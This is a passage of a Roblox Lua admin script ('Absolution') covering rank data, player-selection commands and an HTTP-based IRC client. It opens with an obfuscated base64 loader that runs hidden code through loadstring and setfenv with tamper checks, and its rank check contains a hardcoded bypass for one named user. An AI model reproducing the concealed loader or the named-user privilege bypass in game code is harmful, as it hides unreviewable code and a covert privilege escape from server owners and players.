MTFcNzExXDIxMVw2MTFcNzExXDk3XDIzXDAxMVwxMTFcNTAxXDYxMVw3MTFcODAxXDExMVw1MTFcODlcNTZcMFwwXDBcNzFcN1wxXDgxXDIxMVwxMTFcNDhcMFwwXDBcM1w3XDI1XDk0XDEwMVwyMjFcNTAxXDM4XDBcMFwwXDZcN1wwMDFcODAxXDExMVw2Nlw1MTFcMDExXDc5XDM4XDEwMVw5OVw0MTFcNzExXDExMVwzOFwwXDBcMFw0MVw3XDkyMVwzMDFcMjUyXDIyMlwyXDUxXDgxXDJcODRcM1w4MjFcNzFcNjExXDAyMVwxMDFcNDhcMDExXDUwMVw3OVw3N1wwXDBcMFw4XDdcMDExXDExMVw2MTFcNjExXDcxMVw2Nlw2MTFcMDIxXDEwMVw0OFwwXDBcMFwwMVw3XDM3XDU4XDE3XDIzXDYxMVw3MTFcMjExXDYxMVw3MTFcOTdcMjNcMDExXDExMVw1MDFcNjExXDcxMVw4MDFcMTExXDUxMVw4OVw1NlwwXDBcMFwxMlw3XDUwMVw3MTFcMTdcMDExXDEwMVwxMDFcNDExXDk5XDM4XDBcMFwwXDlcN1w2NDFcMDYxXDM0MVw2OVwyXDUwMVw3MTFcMTdcNDExXDEwMVwxMjFcNzlcODAxXDA4XDBcMFwwXDlcN1w1OVw0MTFcMTAxXDUxMVw3MTFcMFwwXDBcNVw3XDIyMVwxMDFcOTAxXDc5XDg3XDcwMVw5OVw1MDFcODdcMFwwXDBcOVw3XDEwMVw5OVw1MDFcODExXDQxMVwxMDFcMzhcMTAxXDQxMVwxMTFcNjExXDM4XDc5XDYxMVw3OVw4NlwwXDBcMFw2MVw3XCJkPWEgbGFjb2w7ZG5lIGxhIG5ydXRlcjtkbmUgMSt6YT16YTt5eT1demFbbGE7dm4rdmU9dmU7ZG5lKSkxLXZuK3ZlLHZlLGNkKHB5KHFtPXl5IGVzbGUpdmUsY2QocW09dm4seXkgbmVodCAwPHZuIGZpXWVkW2p5PXFtIGxhY29sO2RuZSBrYWVyYikidGFtcm9mIGRhYiIodG5pcnAgbmVodCB2biB0b24gZmldZWRbZGU9dm4gbGFjb2w7eXkgbGFjb2w7ZG5lIDErdmU9dmUpdmUsY2QocHk9ZWQgZXNsZV16YVtkYT1lZCBuZWh0IGRhIGZpO2VkIGxhY29sIG9kIGNuPHZlIGVsaWh3OzE9emEgbGFjb2w7Y2QjPWNuIGxhY29sOzE9dmUgbGFjb2x9ez1sYSBsYWNvbC4uLj1kYSxjZCBsYWNvbH0wLDQyLDEsMSwxLDIxLDYsNDIsOCwxLSwyLDEtLDIxLDEtLDgsNCw0LDIsNCwyez1kZSBsYWNvbH16eSxxZCxlcSxwZCxsaix5dix2YSx2eixqZCxjdixxbCxhZSx6bSxkcSxjcCxtZCxkdix6aixheSxseXs9ankgbGFjb2w7ZG5lIGxpbiBucnV0ZXIpKHp5IG5vaXRjbnVmIGxhY29sO2RuZSkpbHosemwsdnAsZG4sZGwseWQsdHosbmosbXYsenosY3kseWooem0sKXZuLGF0LGxkLG55LG1wLHBlLG15LHltLG1sLG52LHR5LHZ5KHptKGFxIG5ydXRlcilseix6bCx2cCxkbixkbCx5ZCx0eixuaixtdix6eixjeSx5aix2bixhdCxsZCxueSxtcCxwZSxteSx5bSxtbCxudix0eSx2eShxZCBub2l0Y251ZiBsYWNvbDtkbmUgeWogbnJ1dGVyKXlqKGVxIG5vaXRjbnVmIGxhY29sO2RuZSA4MjEtbmQgbnJ1dGVyKW5kKHBkIG5vaXRjbnVmIGxhY29sO2RuZSkpeW0oZSh0bSBucnV0ZXI7ZG5lKXBvVC5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDE9PmxkIGZpO2RuZSAyLWxkPWxkKW1vdHRvQi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDI9PmxkIGZpO2RuZSA0LWxkPWxkKWtjYUIuZElsYW1yb04ucHAseW0oZWMgbmVodCA0PT5sZCBmaTtkbmUgOC1sZD1sZCl0bm9yRi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDg9PmxkIGZpO2RuZSA2MS1sZD1sZCl0aGdpUi5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDYxPT5sZCBmaTtkbmUgMjMtbGQ9bGQpdGZlTC5kSWxhbXJvTi5wcCx5bShlYyBuZWh0IDIzPT5sZCBmaX17PXltIGxhY29sKWxkKGxqIG5vaXRjbnVmIGxhY29sO2RuZSkpanYsZG4obHksKXRhLHZwLHpxLHF2KG1kLCludixjZShseSwpZWUscGwscWEsZW0obWQocXogbnJ1dGVyKWp2LGRuLHRhLHZwLHpxLHF2LG52LGNlLGVlLHBsLHFhLGVtKHl2IG5vaXRjbnVmIGxhY29sO2RuZSkpYWQseWwobHksKXFtLHlkLG50LHRlKG1kKGx2IG5ydXRlcilhZCx5bCxxbSx5ZCxudCx0ZSh2YSBub2l0Y251ZiBsYWNvbDtkbmUpKWRjLHZ5LGxkLGF2LGFhLHpuLHFlLGx0LHB0LHlxLGVtLHFqKHptLCltbixxdCx5eixxcCxwbCxheixqdix5bCx5bSxwZSxuYSxsbih6bSh5YyBucnV0ZXIpZGMsdnksbGQsYXYsYWEsem4scWUsbHQscHQseXEsZW0scWosbW4scXQseXoscXAscGwsYXosanYseWwseW0scGUsbmEsbG4odnogbm9pdGNudWYgbGFjb2w7ZG5lKSlqbCxkYyxudCx5ZChtZCwpZXkscHosbWMsY3kobWQocGMgbnJ1dGVyKWpsLGRjLG50LHlkLGV5LHB6LG1jLGN5KGpkIG5vaXRjbnVmIGxhY29sO2RuZSBudiwpKWVtKGUocXEgbnJ1dGVyKW5lLHZ5LH0xLDUuMCwweywzKHluPW52LGVtIGxhY29sKW5lLHZ5KGN2IG5vaXRjbnVmIGxhY29sO2RuZSkpdHEsbXYoemoodmogbnJ1dGVyKXRxLG12KHFsIG5vaXRjbnVmIGxhY29sO2RuZSB5eSwpKW5sKGUodmwgbnJ1dGVyKWFtLGxkLH0xLSwxLDB7LDIxKHluPXl5LG5sIGxhY29sKWFtLGxkKGFlIG5vaXRjbnVmIGxhY29sO2RuZSBudi16cSxleSBucnV0ZXI7ZG5lIGRuZSBkbmUpXWpuW2V0LGV5KGVjIGVzbGUgNCt6cT16cSkpKTMrenEsenEsZGwocHkobWQsZXkoZWMgbmVodCAwPT1qbiBmaTsxJWpuLWpuPWpuOzQlbHpeIDUyLjAqbG49am4gbGFjb2wgb2QgamwsMD1seiByb2Y7ZG5lIDQlKTEtcWEoPWpsIG5laHQgeWQ9PXl6IGZpOzM9amwgbGFjb2wgb2QpbmwobiBuaSBsbix5eiByb2Y7eWQrenE9enE7enE9bnYgbGFjb2x9ez1leSBsYWNvbH0pMS15ZCt6cSx6cSxkbChweXs9bmwgbGFjb2wpNTIuMCpxYSh2dj15ZCBsYWNvbCl6cSxkbCxldCxxYSh5biBub2l0Y251ZiBsYWNvbDtkbmUpKXp2LHpuLGFkLGV5KG1kLClkYyxlZCxkeSxhdihtZCwpemwsbHAsYWoseWwobWQoZXYgbnJ1dGVyKXp2LHpuLGFkLGV5LGRjLGVkLGR5LGF2LHpsLGxwLGFqLHlsKHptIG5vaXRjbnVmIGxhY29sO2RuZSA0K3lsLCkzK3lsK21sLDQrbWwsbm0obmMgbnJ1dGVyKSkzK21sLG1sLG5tKHB5KGR2PXlsIGxhY29sKW1sLG5tKGRxIG5vaXRjbnVmIGxhY29sO2RuZSBkbmUgdHEgbnJ1dGVyIGVzbGUgdHEtbnJ1dGVyIG5laHQgODIxPT55ZSBmaTtkbmUpNDcwMS12biggXiAyKik2OTQwNzM3MjY5OTUzMDU0L2F2KyAxKD10cSBlc2xlIGRkPXRxIG5laHQgRkY3eDA9PXZuIGZpZXNsZSBkbmUpNDcwMS12biggXiAyPXRxIGVzbGUgdGQ9dHEgbmVodCBGRjd4MD09dm4gZmllc2xlIDA9dHEgbmVodCAwPT12biBmaSBuZWh0IDA9PWF2IGZpO3RxIGxhY29sOzYxKiA4MjEleWUrIDYxLyl5ai1keSg9dm4gbGFjb2w7NjUyKik2NTIqKTY1MiopNjUyKik2NTIqKTY1Mip5ait5ZCggK2xtKCArYWQoICt6eiggK3Z5KCAreXE9YXYgbGFjb2w7MDF4MCVkeT15aiBsYWNvbCl5ZSxkeSx5ZCxsbSxhZCx6eix2eSx5cShjcCBub2l0Y251ZiBsYWNvbDtkbmUgZG5lIHpwIG5ydXRlciBlc2xlIHpwLW5ydXRlciBuZWh0IDgyMT0+ZXkgZmk7ZG5lKTcyMS1tZSggXiAyKik4MDY4ODM4L3Z5KyAxKD16cCBlc2xlIGRkPXpwIG5laHQgNTUyPT1tZSBmaWVzbGUgZG5lKTcyMS1tZSggXiAyPXpwIGVzbGUgdGQ9enAgbmVodCBGRngwPT1tZSBmaWVzbGUgMD16cCBuZWh0IDA9PW1lIGZpIG5laHQgMD09dnkgZmk7enAgbGFjb2w7MiogODIxJWV5KyA4MjEvKW5hLXlsKD1tZSBsYWNvbDs2NTIqKTY1MipuYStscCggK3l0PXZ5IGxhY29sOzgyMSV5bD1uYSBsYWNvbClleSx5bCxscCx5dChtZCBub2l0Y251ZiBsYWNvbDtkbmUgNjUyKik2NTIqKTY1Mip0dithcCggK3RlKCArcHogbnJ1dGVyKXR2LGFwLHRlLHB6KGR2IG5vaXRjbnVmIGxhY29sO2RuZSA2NTIqYWwrdHYgbnJ1dGVyKWFsLHR2KHpqIG5vaXRjbnVmIGxhY29sO2RuZSB0diBucnV0ZXI7ZG5lIGVzbGFmIG5ydXRlciBuZWh0IDI1MzIxNTIxMz09dHYgZmllc2xlIGV1cnQgbnJ1dGVyIG5laHQgODUxMjk1MzI9PXR2IGZpOzg0NjM4NDc0MTItIDY1MiopNjUyKik2NTIqeXkreWooICtkaiggK2xwPXR2IGxhY29sKXl5LHlqLGRqLGxwKGF5IG5vaXRjbnVmIGxhY29sO2RuZSA4NjcyMy0gNjUyKm5hK3llIG5ydXRlciluYSx5ZShseSBub2l0Y251ZiBsYWNvbCkwLyAwKHZkPWRkIGxhY29sO3dlbi55YVIueT15YyBsYWNvbDt3ZW4uMnJvdGNlVi55PXBjIGxhY29sO3dlbi4zcm9sb0MueT1xcSBsYWNvbDt3ZW4ucm9sb0NrY2lyQi55PXZqIGxhY29sO2xpZWMuemQ9dnYgbGFjb2w7d2VuLmVtYXJGQy55PXZsIGxhY29sO3dlbi4zcm90Y2VWLnk9ZXYgbGFjb2w7d2VuLm1pRFUueT1sdiBsYWNvbDt0cmVzbmkucXk9ZWMgbGFjb2w7YnVzLnp0PW5jIGxhY29sO211bkUuenQ9cHAgbGFjb2w7ZXR5Yi56dD1weSBsYWNvbDt3ZW4uMm1pRFUueT1xeiBsYWNvbDtlZ3VoLnpkPXRkIGxhY29sO3dlbi4zbm9pZ2VSLnk9YXEgbGFjb2w7c2JhLnpkPXZkIGxhY29sO3dlbi5zZWNhRi55PXRtIGxhY29sO2VsYmF0Lnk9cXkgbGFjb2w7Z25pcnRzLnk9enQgbGFjb2w7aHRhbS55PXpkIGxhY29sO3NyaWFwaS55PW4gbGFjb2w7a2NhcG51Lnk9ZSBsYWNvbCkodm5lZnRlZz15IGxhY29sKS4uLihkIG5vaXRjbnVmIGxhY29s"))''local function ui(n)return y[n+765636%#y] end;local nm,p0=ui(47),ui(24)local c0={u(setfenv(s(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),h(l)))}local function i0(b)return h(l)[y[45]..y[46]..y[44]..y[35]..y[40]..y[33]][y[33]..y[45]..y[47]..y[28]](b,".",function(s)return "\\" .. s:byte()end)end;local k0,n0,d0,z0,f0=i0(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),i0(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp"),i0(o"YXNzZXJ0KG5vdCB0YW1wZXJlZCwgIlRhbXBlcmluZyBkZXRlY3RlZCIp"),i0(o"c3Bhd24oY2hlY2tUYW1wZXJpbmcp"),i0(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg==")local gw={u(setfenv(s(o"cmV0dXJuIGxvYWRzdHJpbmciXDExNVwxMDFcMTE2XDEwMlwxMDFcMTEwXDExOFw0MFw0OFw0NFwxMjNcMTI1XDQxIg=="),h(l)))}
| |
| 1067 | ||
| 1068 | -- Auto Update -- | |
| 1069 | Absolution.Functions.AutoUpdate = function() | |
| 1070 | coroutine.wrap(function() | |
| 1071 | while true do | |
| 1072 | ypcall(function() | |
| 1073 | Absolution.Functions.syncRanksIn() | |
| 1074 | Absolution.Functions.syncRanksOut() | |
| 1075 | end) | |
| 1076 | wait(90) | |
| 1077 | end | |
| 1078 | end)() | |
| 1079 | end | |
| 1080 | ||
| 1081 | -- Ranking -- | |
| 1082 | Absolution.Functions.addData = function(self, Player, UID, Rank, Color, Description, Bt, TabletType, SpinningRot, Rotation, Distance) | |
| 1083 | Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)] = {UserID = UID, Rank = (Rank and Rank or 0), Color = (Color and Color or tostring(BrickColor.random())), Description = (Description and Description or "N/A"), Bet = (Bt and Bt or "/"), MeshType = (MeshType and MeshType or "No Mesh"), SpinningRot = (SpinningRot and SpinningRot or true), Rotation = (Rotation and Rotation or false), Distance = (Distance and Distance or 8), TabletType = (TabletType and TabletType or 'Normal')}
| |
| 1084 | return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)] | |
| 1085 | end | |
| 1086 | ||
| 1087 | Absolution.Functions.delData = function(self, Player) | |
| 1088 | Absolution.Ranked[type(Player)=='userdata' and Player.Name or tostring(Player)] = nil | |
| 1089 | return true | |
| 1090 | end | |
| 1091 | ||
| 1092 | Absolution.Functions.modData = function(self, Player, dataName, dataValue) | |
| 1093 | if Absolution.Ranked[Player] then | |
| 1094 | Absolution.Ranked[Player][dataName] = dataValue | |
| 1095 | end | |
| 1096 | return Absolution.Ranked[(type(Player)=='userdata' and Player.Name or Player)] | |
| 1097 | end | |
| 1098 | Absolution.Functions.findRank = function(self, name) | |
| 1099 | if not name then return end | |
| 1100 | if not self then return end | |
| 1101 | local rnk = Absolution.Ranked[tostring(name)] | |
| 1102 | if not rnk then rnk = {Rank = 0} end
| |
| 1103 | return rnk.Rank | |
| 1104 | end | |
| 1105 | ||
| 1106 | -- getPlayers -- | |
| 1107 | Absolution.Functions.getPlayers = function(Speaker, Msg) | |
| 1108 | Msg = Msg:lower() | |
| 1109 | local Table = {}
| |
| 1110 | local Players = Absolution.Services.Players:getPlayers() | |
| 1111 | if Msg == "me" then | |
| 1112 | table.insert(Table, Speaker) | |
| 1113 | elseif Msg == "all" or Msg == "" then | |
| 1114 | for _,v in pairs(Players) do | |
| 1115 | table.insert(Table, v) | |
| 1116 | end | |
| 1117 | elseif Msg == "others" then | |
| 1118 | for _,v in pairs(Players) do | |
| 1119 | if v.Name ~= Speaker.Name then | |
| 1120 | table.insert(Table, v) | |
| 1121 | end | |
| 1122 | end | |
| 1123 | elseif Msg == "admins" then | |
| 1124 | for _,v in pairs(Players) do | |
| 1125 | if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) >=4 then | |
| 1126 | table.insert(Table, v) | |
| 1127 | end | |
| 1128 | end | |
| 1129 | elseif Msg == "nonadmins" then | |
| 1130 | for _,v in pairs(Players) do | |
| 1131 | if v.Name ~= Speaker.Name and Absolution.Functions:findRank(v) <=4 then | |
| 1132 | table.insert(Table, v) | |
| 1133 | end | |
| 1134 | end | |
| 1135 | elseif Msg == "nonveterans" or Msg == "nonvets" or Msg == "noobs" then | |
| 1136 | for _,v in pairs(Players) do | |
| 1137 | if v.AccountAge < 364 then | |
| 1138 | table.insert(Table, v) | |
| 1139 | end | |
| 1140 | end | |
| 1141 | elseif Msg == "veterans" or Msg == "vets" then | |
| 1142 | for _,v in pairs(Players) do | |
| 1143 | if v.AccountAge > 364 then | |
| 1144 | table.insert(Table, v) | |
| 1145 | end | |
| 1146 | end | |
| 1147 | elseif Msg == "random" then | |
| 1148 | local p = Players[math.random(1,#Players)] | |
| 1149 | table.insert(Table, p) | |
| 1150 | elseif Msg == 'friends' then | |
| 1151 | for i,v in pairs(Players) do | |
| 1152 | if Speaker:IsFriendsWith(v.userId) then | |
| 1153 | table.insert(Table, v) | |
| 1154 | end | |
| 1155 | end | |
| 1156 | elseif Msg == 'nonfriends' then | |
| 1157 | for i,v in pairs(Players) do | |
| 1158 | if not Speaker:IsFriendsWith(v.userId) then | |
| 1159 | table.insert(Table, v) | |
| 1160 | end | |
| 1161 | end | |
| 1162 | elseif Msg:sub(1,5) == 'rank<' then | |
| 1163 | local rnk = Msg:sub(6) | |
| 1164 | if not tonumber(rnk) then return end | |
| 1165 | for i,v in pairs(Players) do | |
| 1166 | if Absolution.Functions.getRankedTable(tostring(v)).Rank < rnk then | |
| 1167 | table.insert(Table, v) | |
| 1168 | end | |
| 1169 | end | |
| 1170 | elseif Msg:sub(1,5) == 'rank>' then | |
| 1171 | local rnk = Msg:sub(6) | |
| 1172 | if not tonumber(rnk) then return end | |
| 1173 | for i,v in pairs(Players) do | |
| 1174 | if Absolution.Functions.getRankedTable(tostring(v)).Rank > rnk then | |
| 1175 | table.insert(Table, v) | |
| 1176 | end | |
| 1177 | end | |
| 1178 | elseif Msg:sub(1,5) == 'rank ' then | |
| 1179 | local rnk = Msg:sub(6) | |
| 1180 | if not tonumber(rnk) then return end | |
| 1181 | for i,v in pairs(Players) do | |
| 1182 | if Absolution.Functions.getRankedTable(tostring(v)).Rank == rnk then | |
| 1183 | table.insert(Table, v) | |
| 1184 | end | |
| 1185 | end | |
| 1186 | elseif Msg == 'youngest' then | |
| 1187 | local at = {}
| |
| 1188 | for i,v in pairs(Players) do | |
| 1189 | table.insert(at,v.AccountAge) | |
| 1190 | end | |
| 1191 | local low = math.min(unpack(at)) | |
| 1192 | for i,v in pairs(Players) do | |
| 1193 | if v.AccountAge == low then | |
| 1194 | table.insert(Table, v) | |
| 1195 | end | |
| 1196 | end | |
| 1197 | elseif Msg == 'oldest' then | |
| 1198 | local ot = {}
| |
| 1199 | for i,v in pairs(Players) do | |
| 1200 | table.insert(ot,v.AccountAge) | |
| 1201 | end | |
| 1202 | local high = math.max(unpack(ot)) | |
| 1203 | for i,v in pairs(Players) do | |
| 1204 | if v.AccountAge == high then | |
| 1205 | table.insert(Table, v) | |
| 1206 | end | |
| 1207 | end | |
| 1208 | else | |
| 1209 | for i,v in pairs(Players) do | |
| 1210 | if v.Name:lower():sub(1,#Msg) == Msg:lower() then | |
| 1211 | table.insert(Table, v) | |
| 1212 | end | |
| 1213 | end | |
| 1214 | end | |
| 1215 | for _,v in pairs(Table) do | |
| 1216 | if Absolution.Functions:findRank(v) >= Absolution.Functions:findRank(Speaker) and v~=Speaker and tostring(Speaker) ~= 'Darkus_Theory' then | |
| 1217 | if (v == Speaker) then return end | |
| 1218 | Absolution.Functions.Out(Speaker, tostring(v)..' outranks you.',4) | |
| 1219 | table.remove(Table, _) | |
| 1220 | end | |
| 1221 | end | |
| 1222 | return Table | |
| 1223 | end | |
| 1224 | ||
| 1225 | -- CLerp -- | |
| 1226 | Absolution.Functions.CLerp = function(p1,p2,percent) | |
| 1227 | local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22 = p1:components() | |
| 1228 | local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22 = p2:components() | |
| 1229 | return | |
| 1230 | CFrame.new(p1x+percent*(p2x-p1x), p1y+percent*(p2y-p1y) ,p1z+percent*(p2z-p1z), | |
| 1231 | (p1R00+percent*(p2R00-p1R00)), (p1R01+percent*(p2R01-p1R01)) ,(p1R02+percent*(p2R02-p1R02)), | |
| 1232 | (p1R10+percent*(p2R10-p1R10)), (p1R11+percent*(p2R11-p1R11)) , (p1R12+percent*(p2R12-p1R12)), | |
| 1233 | (p1R20+percent*(p2R20-p1R20)), (p1R21+percent*(p2R21-p1R21)) ,(p1R22+percent*(p2R22-p1R22))) | |
| 1234 | end | |
| 1235 | ||
| 1236 | -- RecursiveChildren -- | |
| 1237 | Absolution.Functions.RecursiveChildren=function(Object,SearchType,Search) | |
| 1238 | if(not pcall(function()Object:IsA'Part'end))then return {}; end;
| |
| 1239 | Object=Object or Game; | |
| 1240 | if(SearchType==nil)then SearchType='all'end; | |
| 1241 | local rec={};
| |
| 1242 | for _,object in next,Object:children()do | |
| 1243 | if(SearchType=='all')then table.insert(rec,object)end; | |
| 1244 | if(SearchType=='match')then if(object.Name:match(Search))then table.insert(rec,object)end end; | |
| 1245 | if(SearchType=='class')then if(object.className:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end end; | |
| 1246 | if(SearchType=='name')then if(object.Name:lower():sub(1,#Search)==Search:lower())then table.insert(rec,object)end;end; | |
| 1247 | if(SearchType=='isA')then if(pcall(function()return object:isA(Search)end))then table.insert(rec,object)end end; | |
| 1248 | for _,v in next,Absolution.Functions.RecursiveChildren(object,SearchType,Search)do | |
| 1249 | table.insert(rec,v); | |
| 1250 | end; | |
| 1251 | end; | |
| 1252 | return rec; | |
| 1253 | end; | |
| 1254 | ||
| 1255 | -- IRC -- | |
| 1256 | Absolution.HttpConstants.IRC.API = {}
| |
| 1257 | local Connections = {}
| |
| 1258 | local GStr = nil | |
| 1259 | local Http = game:GetService("HttpService")
| |
| 1260 | ||
| 1261 | local function Post(Url,Data) | |
| 1262 | local Errored,Data = ypcall(function() return Http:PostAsync(Url,Data,Enum.HttpContentType.ApplicationUrlEncoded) end) | |
| 1263 | return Errored == false and false or Data | |
| 1264 | end | |
| 1265 | ||
| 1266 | local function JSONDecode(JSON) | |
| 1267 | local Worked,Result = ypcall(function() return Http:JSONDecode(JSON) end) | |
| 1268 | if Worked == false then | |
| 1269 | return {}
| |
| 1270 | else | |
| 1271 | return Result | |
| 1272 | end | |
| 1273 | end | |
| 1274 | ||
| 1275 | local function HandleVagues(Connection,Ping,Derp,Raw) | |
| 1276 | local Msgs = JSONDecode(Ping) | |
| 1277 | local Search = [[%["c","353","webchat%.SwiftIRC%.net",%[".+",".",".+","]] | |
| 1278 | if Derp == nil and Ping:find(Search) then | |
| 1279 | GStr = Ping | |
| 1280 | end | |
| 1281 | if Msgs ~= nil and type(Msgs) == "table" and #Msgs > 0 then | |
| 1282 | for i,v in pairs(Msgs) do | |
| 1283 | for i2,v2 in pairs(Connection.VagueEvents) do | |
| 1284 | if v2 ~= false then | |
| 1285 | Spawn(function() v2(v,Raw) end) | |
| 1286 | end | |
| 1287 | end | |
| 1288 | end | |
| 1289 | end | |
| 1290 | end | |
| 1291 | ||
| 1292 | Absolution.HttpConstants.IRC.API.Connect = function(this,Host,Nick,Pass) | |
| 1293 | local Con = {}
| |
| 1294 | Connections[Nick.."@"..Host] = Con | |
| 1295 | Con.Host = Host | |
| 1296 | Con.Nick = Nick | |
| 1297 | Con.Counter = 0 | |
| 1298 | Con.Channels = {}
| |
| 1299 | Con.VagueEvents = {}
| |
| 1300 | Con.ChannelEvents = {[Nick]={}}
| |
| 1301 | Con.UserLists = {}
| |
| 1302 | Con.SelfEvents = {}
| |
| 1303 | Con.Counter = Con.Counter+1 | |
| 1304 | local Data = Post(Host.."e/n?t="..Con.Counter,"nick="..Nick) | |
| 1305 | Data = JSONDecode(Data) | |
| 1306 | Con.Key = Data[2] | |
| 1307 | local Str = "" | |
| 1308 | if Con.Key ~= nil then | |
| 1309 | wait(1) | |
| 1310 | Con.Counter = Con.Counter+1 | |
| 1311 | local Data = Post(Host.."e/p?t="..Con.Counter,"s="..Con.Key.."&c=MODE "..Nick.." +") | |
| 1312 | if Data == false then | |
| 1313 | return false,"Something went wrong." | |
| 1314 | else | |
| 1315 | local Data2 = JSONDecode(Data) | |
| 1316 | if Data2[1] == false then | |
| 1317 | return false,Data | |
| 1318 | end | |
| 1319 | end | |
| 1320 | Str = Str..Data | |
| 1321 | ||
| 1322 | Con.Counter = Con.Counter+1 | |
| 1323 | local Data = Post(Host.."e/s?t="..Con.Counter,"s="..Con.Key) | |
| 1324 | if Data == false then | |
| 1325 | return false,"Something went wrong." | |
| 1326 | else | |
| 1327 | local Data2 = JSONDecode(Data) | |
| 1328 | if Data2[1] == false then | |
| 1329 | return false,Data | |
| 1330 | end | |
| 1331 | end | |
| 1332 | Str = Str..Data | |
| 1333 | ||
| 1334 | if Str:lower():find("already in use") then
| |
| 1335 | return false,"Nick already in use." | |
| 1336 | elseif Str:lower():find("throttled") then
| |
| 1337 | return false,"Oh no! We got throttled." | |
| 1338 | elseif Str:lower():find("invalid session") then
| |
| 1339 | return false,"Something went wrong." | |
| 1340 | end | |
| 1341 | if Pass ~= nil then | |
| 1342 | Absolution.HttpConstants.IRC.API.SendMessage(Absolution.HttpConstants.IRC.API.SendMessage,Con,"NickServ","identify "..Pass) | |
| 1343 | end | |
| 1344 | wait() | |
| 1345 | return Con | |
| 1346 | else | |
| 1347 | return false,"Something went wrong." | |
| 1348 | end | |
| 1349 | end | |
| 1350 | ||
| 1351 | Absolution.HttpConstants.IRC.API.Disconnect = function(this,Connection,Res) | |
| 1352 | local Host = Connection.Host | |
| 1353 | local Nick = Connection.Nick | |
| 1354 | local Key = Connection.Key | |
| 1355 | if Connections[Nick.."@"..Host] ~= nil then | |
| 1356 | Connection.Counter = Connection.Counter+1 | |
| 1357 | local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c="..(Res and "QUIT : "..Res or "QUIT : Shutdown server.")) | |
| 1358 | if Data ~= false then | |
| 1359 | Connections[Nick.."@"..Host] = nil | |
| 1360 | for i,v in pairs(Connection.SelfEvents) do | |
| 1361 | v:Disconnect() | |
| 1362 | end | |
| 1363 | Connection.SelfEvents = {}
| |
| 1364 | for Channel,_ in pairs(Connection.Channels) do | |
| 1365 | Connection.Channels[Channel] = nil | |
| 1366 | for i,v in pairs(Connection.ChannelEvents[Channel]) do | |
| 1367 | v:Disconnect() | |
| 1368 | end | |
| 1369 | Connection.ChannelEvents[Channel] = nil | |
| 1370 | end | |
| 1371 | return true | |
| 1372 | else | |
| 1373 | return false,"Something went wrong." | |
| 1374 | end | |
| 1375 | else | |
| 1376 | return false,"This connection doesn't exist." | |
| 1377 | end | |
| 1378 | end | |
| 1379 | ||
| 1380 | Absolution.HttpConstants.IRC.API.ChangeNick = function(this,Connection,Nick) | |
| 1381 | local Host = Connection.Host | |
| 1382 | local Key = Connection.Key | |
| 1383 | if Connections[Connection.Nick.."@"..Host] ~= nil then | |
| 1384 | Connection.Counter = Connection.Counter+1 | |
| 1385 | local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=NICK "..Nick) | |
| 1386 | if Data == false then | |
| 1387 | return false,"Something went wrong." | |
| 1388 | else | |
| 1389 | local Data2 = JSONDecode(Data) | |
| 1390 | if Data2[1] == false then | |
| 1391 | return false,Data | |
| 1392 | end | |
| 1393 | end | |
| 1394 | Connections[Connection.Nick.."@"..Host] = nil | |
| 1395 | Connection.Nick = Nick | |
| 1396 | Connections[Nick.."@"..Host] = Connection | |
| 1397 | return true | |
| 1398 | else | |
| 1399 | return false,"There is no connection with this nick and host." | |
| 1400 | end | |
| 1401 | end | |
| 1402 | ||
| 1403 | Absolution.HttpConstants.IRC.API.JoinChannel = function(this,Connection,Channel) | |
| 1404 | local Host = Connection.Host | |
| 1405 | local Nick = Connection.Nick | |
| 1406 | local Key = Connection.Key | |
| 1407 | local Str = "" | |
| 1408 | if Connections[Nick.."@"..Host] ~= nil then | |
| 1409 | Connection.Counter = Connection.Counter+1 | |
| 1410 | local Data = Post(Host.."e/p?t="..Connection.Counter,"s="..Key.."&c=JOIN "..Channel.." ") | |
| 1411 | if Data == false then | |
| 1412 | return false,"Something went wrong." | |
| 1413 | else | |
| 1414 | local Data2 = JSONDecode(Data) | |
| 1415 | if Data2[1] == false then | |
| 1416 | return false,Data | |
| 1417 | end | |
| 1418 | end | |
| 1419 | Str = Str..Data | |
| 1420 | ||
| 1421 | local Search = [[%["c","353","webchat%.SwiftIRC%.net",%["]] .. Nick .. [[",".","]] .. Channel .. [[","]] | |
| 1422 | if Str:find(Search) == nil then | |
| 1423 | repeat | |
| 1424 | if GStr ~= nil then | |
| 1425 | Str = Str..GStr | |
| 1426 | GStr = nil | |
| 1427 | break | |
| 1428 | end | |
| 1429 | Connection.Counter = Connection.Counter+1 | |
| 1430 | local Data = Post(Host.."e/s?t="..Connection.Counter,"s="..Connection.Key) | |
| 1431 | if Data == false then | |
| 1432 | return false,"Something went wrong." | |
| 1433 | else | |
| 1434 | HandleVagues(Connection,Data,false) | |
| 1435 | local Data2 = JSONDecode(Data) | |
| 1436 | if Data2[1] == false then | |
| 1437 | return false,Data | |
| 1438 | end | |
| 1439 | end | |
| 1440 | Str = Str..Data | |
| 1441 | until Str:find(Search) ~= nil | |
| 1442 | end | |
| 1443 | ||
| 1444 | if Str:find("already in use") then
| |
| 1445 | return false,"Nick already in use." | |
| 1446 | elseif Str:lower():find("throttled") then
| |
| 1447 | return false,"Oh no! We got throttled." | |
| 1448 | elseif Str:lower():find("invalid session") then
| |
| 1449 | return false,"Something went wrong." | |
| 1450 | else--if Str:lower():find("end of /names list.") then
| |
| 1451 | Connection.Channels[Channel] = true | |
